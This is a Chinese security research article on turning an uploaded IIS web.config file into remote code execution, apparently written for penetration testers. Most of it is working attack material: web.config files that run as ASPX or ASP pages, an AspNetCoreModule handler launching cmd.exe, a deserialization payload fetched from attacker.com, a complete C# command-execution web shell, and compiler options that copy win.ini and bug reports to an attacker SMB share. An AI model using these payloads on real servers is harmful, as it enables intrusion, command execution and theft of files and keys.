引言
这是我撰写的第二篇分析web.config安全问题的文章。早在2014年[1]的时候,我们撰写过一篇这方面的文章,其中介绍了一种运行ASP经典代码的方法,以及如何仅通过上传web.config文件发动存储型XSS攻击。
在这篇文章中,我们将着眼于运行web.config文件本身,以及在把web.config上传到IIS服务器上的应用程序过程中可以派上用场的其他技术。这里的主要目标,是使用web.config文件在服务器上执行代码或命令,以及针对存储型XSS的其他攻击技术。
本文中描述的技术可以分为两大类,具体取决于它们是否可以在应用程序根目录或子文件夹/虚拟目录中上传web.config文件。如果您不熟悉涉及IIS的虚拟目录和应用程序等术语的话,请参阅文献[2]。此外,我撰写的另一篇文章[3],对于在黑盒评估期间识别虚拟目录或应用程序也是非常有用的,大家不妨读一下。
1. 使用根目录或应用程序目录中的web.config执行命令
当一个应用程序已经使用了一个将要被我们的web.config文件替换的web.config文件,而我们的web.config文件又没有进行正确的设置的时候——例如数据库连接字符串或一些有效的程序集引用等,这种方法将会带来巨大的破坏性。当应用程序可能使用了将要替换的web.config文件时,建议不要在实际网站上尝试这种技术。对于位于其他应用程序或虚拟目录中的IIS应用程序来说,由于它们很可能并不使用web.config文件,因此,通常要比位于网站的根目录中的程序要更安全一些。下图展示的是位于testwebconfig应用程序内部的示例应用程序anotherapp,它也位于Default Web Site目录中。
如果可以修改应用程序根目录中的web.config文件的话,攻击者就可以通过各种方法在服务器上执行命令。
在本文中,我们将为读者介绍四个有趣的相关例子,具体如下所示。
1.1. 将web.config作为ASPX页面执行
这与文献[1]中的例子非常相似,不过,在应用程序的根目录中上传web.config文件的好处是,我们能够得到更多的控制权,因此,我们可以使用托管处理程序将web.config文件作为ASPX页面运行,具体如下所示:
<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.webServer> <handlers accessPolicy="Read, Script, Write"> <add name="web_config" path="web.config" verb="*" type="System.Web.UI.PageHandlerFactory" modules="ManagedPipelineHandler" requireAccess="Script" preCondition="integratedMode" /> <add name="web_config-Classic" path="web.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll" requireAccess="Script" preCondition="classicMode,runtimeVersionv4.0,bitness64" /> </handlers> <security> <requestFiltering> <fileExtensions> <remove fileExtension=".config" /> </fileExtensions> <hiddenSegments> <remove segment="web.config" /> </hiddenSegments> </requestFiltering> </security> <validation validateIntegratedModeConfiguration="false" /> </system.webServer> <system.web> <compilation defaultLanguage="vb"> <buildProviders> <add extension=".config" type="System.Web.Compilation.PageBuildProvider" /> </buildProviders> </compilation> <httpHandlers> <add path="web.config" type="System.Web.UI.PageHandlerFactory" verb="*" /> </httpHandlers> </system.web> </configuration> <!-- ASP.NET code comes here! It should not include HTML comment closing tag and double dashes! <% Response.write("-"&"->") ' it is running the ASP code if you can see 3 by opening the web.config file! Response.write(1+2) Response.write("<!-"&"-") %> -->
然后,只要浏览该web.config文件,系统就会将其作为ASP.NET页面来运行。显然,相关的XML内容也可以从网上进行访问。实际上,如果使用具有.config、.jpg或.txt文件等扩展名的文件来完成上传的话,也许会更容易一些,因为这些带有这些扩展名的文件一般都能畅通无阻;完成上传之后,我们就可以将其作为.aspx页面来运行了。
1.2. 通过AspNetCoreModule模块来运行命令
除此之外,我们也可以使用ASP.NET Core模块来运行命令,具体如下所示:
<?xml version="1.0" encoding="utf-8"?> <configuration> <system.webServer> <handlers> <remove name="aspNetCore" /> <add name="aspNetCore" path="backdoor.me" verb="*" modules="AspNetCoreModule" resourceType="Unspecified" /> </handlers> <aspNetCore processPath="cmd.exe" arguments="/c calc"/> </system.webServer> </configuration>
浏览backdoor.me页面时,上述命令就会被执行,重要的是,这里不要求该页面位于服务器上! 这里可以使用powershell命令作为反向shell。
1.3. 使用机器密钥
如文献[4]所述,可以在web.config文件中设置machineKey元素,以便利用反序列化功能在服务器上运行相关的代码和命令。
1.4. 使用json_appservice.axd
这是在.NET Framework的身份验证过程中使用已知的反序列化漏洞在服务器上悄咪咪地运行代码的一种好方法(有关详细信息,请参阅文献[5])。
In this case, the web.config file can look like this: <?xml version="1.0" encoding="UTF-8"?> <configuration> <system.web.extensions> <scripting> <webServices> <authenticationService enabled="true" requireSSL="false" /> </webServices> </scripting> </system.web.extensions> <appSettings> <add key="aspnet:UseLegacyClientServicesJsonHandling" value="true" /> </appSettings> <system.web> <membership defaultProvider="ClientAuthenticationMembershipProvider"> <providers> <add name="ClientAuthenticationMembershipProvider" type="System.Web.ClientServices.Providers.ClientFormsAuthenticationMembershipProvider, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" serviceUri="http://attacker.com/payload?" /> </providers> </membership> </system.web> </configuration>
下面的JSON显示的是攻击者网站(http://attacker.com/payload)上可以接受POST请求的payload页面:
{ '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'ObjectInstance':{ '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 'StartInfo': { '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', 'FileName':'cmd', 'Arguments':'/c calc' } } }
上传web.config文件并在远程服务器上安装payload页面后,攻击者可以发送如下所示的HTTP请求,从而在服务器上运行其代码和命令:
POST /testwebconfig/Authentication_JSON_AppService.axd/login HTTP/1.1 Host: victim.com Content-Length: 72 Content-Type: application/json;charset=UTF-8 {"userName":"foo","password":"bar","createPersistentCookie":false}
需要注意的是,有时Profile_JSON_AppService.axd或Role_JSON_AppService.axd在这里也能派上用场,但是需要在web.config中启用它们,并且还得通过调用适当的方法来触发反序列化过程。
2. 使用子文件夹/虚拟目录中的web.config来执行命令
与应用程序文件夹所在根目录中的web.config文件相比,虚拟目录中的web.config文件受到的限制要更大一些。我们知道,web.config文件中的某些部分或属性是可用于执行AspNetCoreModule、machineKey、buildProviders和httpHandler等命令的,但是对于子文件夹中的web.config文件来说,则完全不是这么回事。
在文献[1]中,我介绍了一种自己发现的方法,当系统允许在虚拟目录中使用ISAPI模块时,可以通过该方法将web.config文件作为ASP文件运行:
<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.webServer> <handlers accessPolicy="Read, Script, Write"> <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" /> </handlers> <security> <requestFiltering> <fileExtensions> <remove fileExtension=".config" /> </fileExtensions> <hiddenSegments> <remove segment="web.config" /> </hiddenSegments> </requestFiltering> </security> </system.webServer> </configuration> <!-- ASP code comes here! It should not include HTML comment closing tag and double dashes! <% Response.write("-"&"->") ' it is running the ASP code if you can see 3 by opening the web.config file! Response.write(1+2) Response.write("<!-"&"-") %> -->
其他模块(例如用于PHP的模块)也可以类似的方式加以运行,只要被允许的话。但是,如果IIS应用程序配置的当的话,通常是不允许运行除.NET代码之外的任何代码的。为了解决这个问题,后面将介绍更多的相关技术。
2.1. 滥用compilerOptions属性
这里将web.config文件作为基本模板:
<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.web> <httpRuntime targetFramework="4.67.1"/> <compilation tempDirectory="" debug="True" strict="False" explicit="False" batch="True" batchTimeout="900" maxBatchSize="1000" maxBatchGeneratedFileSize="1000" numRecompilesBeforeAppRestart="15" defaultLanguage="c#" targetFramework="4.0" urlLinePragmas="False" assemblyPostProcessorType=""> <assemblies> </assemblies> <expressionBuilders> </expressionBuilders> <compilers> <compiler language="c#" extension=".cs;.config" type="Microsoft.CSharp.CSharpCodeProvider,System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" warningLevel="4" compilerOptions=''/> </compilers> </compilation> </system.web> <system.webServer> <handlers> <add name="web_config" path="web.config" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="File" requireAccess="Script" preCondition="integratedMode" /> </handlers> <security> <requestFiltering> <hiddenSegments> <remove segment="web.config" /> </hiddenSegments> <fileExtensions> <remove fileExtension=".config" /> </fileExtensions> </requestFiltering> </security> </system.webServer> </configuration>
我们可以将compiler元素的type属性设置为以下默认类型之一(注意,版本可以修改的):
C#: Microsoft.CSharp.CSharpCodeProvider,System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
我们使用csc.exe命令进行编译。
VB.NET (这里以版本2为例进行说明 :
Microsoft.VisualBasic.VBCodeProvider, System, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
这里使用vbc.exe命令进行编译。
Jscript.NET: Microsoft.JScript.JScriptCodeProvider, Microsoft.JScript, Version=7.0.3300.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a
这里使用jsc.exe命令进行编译。
这些命令通常可以从.NET文件夹中找到。对于.NET v4来说,该文件夹位于:
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\
上面的web.config模板文件中的compilerOptions属性的值将作为参数添加到编译器命令中。此外,我们还可以通过空格字符提供多个参数。
如果没有为编译器命令提供选项,compilerOptions属性的值将被视为要编译的编译器的文件名。
字符#用于终止命令,字符@用于加载另一个文件,详情请参阅文献[6]。
如果我们能在编译一个C#、VB.NET或Jscript.NET文件时找到一个执行命令的方法,我们就可以通过编译一个额外的文件(可能来自远程共享驱动器或以前上传的静态文件)来轻松完成攻击过程。遗憾的是,我至今尚未找到这样的方法。如果读者了解相关的技巧的话,请一定告诉我,好让我将它们添加到这里!
重要注意事项:如果ASP.NET页面位于web.config文件的上传文件夹中,那么当我们修改编译过程后,它们将无法使用我在这里提供的示例。因此,如果您只有一次上传web.config文件的机会,并且无法再次重写该文件,那么除非您对自己的方法有绝对的把握,并否则绝对不要对无法安全上传到空文件夹中的生产应用程序以身犯险。
2.1.1. 创建Web shell
以下字符串显示的是compilerOptions属性,该属性可用于在Web目录中创建包含二进制数据的Web shell:
/resource:"\\KaliBoxIP\Public\webshell.txt" /out:"C:\appdata\wwwroot\myapp\webshell.aspx" #
使用上述设置浏览web.config文件后,系统会在请求的路径中创建一个名为webshell.aspx的二进制文件。就这里来说,了解服务器上的应用程序路径是非常重要的。为此,可以设法触发一个引起ASP.NET黄屏死机(YSOD)的错误,这样就能在相关的错误消息中看到应用程序的路径。当然,我们建议在另一个文件(而非web.config文件本身)中创建一个错误,这样的话,以后可以修改它,而会不影响web.config文件:
<?xml version="1.0" encoding="UTF-8"?> <configuration> <system.web> <customErrors mode="Off" /> IDontExist! </system.web> </configuration>
此外,要想进行正常的编译,我们应该在web.config文件的上传目录之外创建Web shell,除非创建Web shell之后,还能修改web.config文件并删除compilerOptions属性。
应该注意的是,webshell.txt中的代码将嵌入到包含二进制数据的webshell.aspx中。由于它不是这个webshell的干净副本,因此,可以用于获取访问权限的第一阶段代码。
如果无法访问SMB的话,我们该怎么办呢?
如果目标无法通过SMB进行通信,则可以使用具有允许的扩展名的文件来上传Web shell,并将其存放到/resource选项中:
/resource:"C:\appdata\wwwroot\myapp\attachment\myshell.config" /out:"C:\appdata\wwwroot\myapp\webshell.aspx" #
2.1.2. 接管现有的ASPX文件
当ASPX文件位于web.config文件的上传文件夹中时,就可以通过修改编译过程来接管该文件。
应用程序和虚拟目录的知识对使用这种技术来说是非常重要的,下面我们举例说明:
这里假设web.config文件被上传到了C:\appdata\wwwroot\myapp\attachment\文件夹中,而file.aspx也恰好位于同一个文件夹中,并可通过以下URL进行访问:
https://victim.com/myapp/attachment/file.aspx
现在,我们就可以使用以下编译器选项来接管该文件了:
\\KaliBoxIP\Public\webshellcs.txt #
或
"C:\appdata\wwwroot\myapp\attachment\webshellcs.txt" #
webshellcs.txt文件的内容如下所示:
namespace ASP { using System; [System.Runtime.CompilerServices.CompilerGlobalScopeAttribute()] public class attachment_file_aspx : global::System.Web.UI.Page, System.Web.IHttpHandler { private void @__Render__control1(System.Web.UI.HtmlTextWriter @__w, System.Web.UI.Control parameterContainer) { if (!String.IsNullOrEmpty(Request["cmd"])) { System.Diagnostics.Process process = new System.Diagnostics.Process(); process.StartInfo.FileName = Request["cmd"]; process.StartInfo.Arguments = Request["arg"]; process.StartInfo.UseShellExecute = false; process.StartInfo.RedirectStandardOutput = true; process.StartInfo.RedirectStandardError = true; process.Start(); //* Read the output (or the error) string output = process.StandardOutput.ReadToEnd(); @__w.Write("Result:<br><pre>"); @__w.Write(output); } else { @__w.Write("Use:\"?cmd=cmd.exe&arg=/c dir\" as an example!"); } } [System.Diagnostics.DebuggerNonUserCodeAttribute()] protected override void FrameworkInitialize() { this.SetRenderMethodDelegate(new System.Web.UI.RenderMethod([email protected]__Render__control1)); } } }
2.1.3. 窃取内部文件
下面的字符串展示的是compilerOptions属性:
/resource:c:\windows\win.ini /out:\\KaliBoxIP\Public\test.bin
这样的话,一旦打开上传文件夹中现有的ASP.NET页面,就会在含有win.ini文件的共享文件夹中生成test.pdb和test.bin文件。这对于窃取应用程序的web.config文件尤其有用,因为它可能存有敏感数据,例如可能导致远程代码执行的机器密钥[4]等。
2.1.4. 窃取与该应用相关的更多数据
以下字符串显示的是compilerOptions属性:
/resource:\\KaliBoxIP\Public\test.txt -bugreport:\\KaliBoxIP\Public\foobar1.txt /errorreport:none
在该文件夹中打开现有ASP.NET页面后,会在共享路径上创建一个大文件,该文件可能包含与该应用程序及其底层技术相关的敏感数据。
显然,当路径已知并且可以远程下载文件时,我们也可以在同一Web服务器上创建该文件。
(未完待续)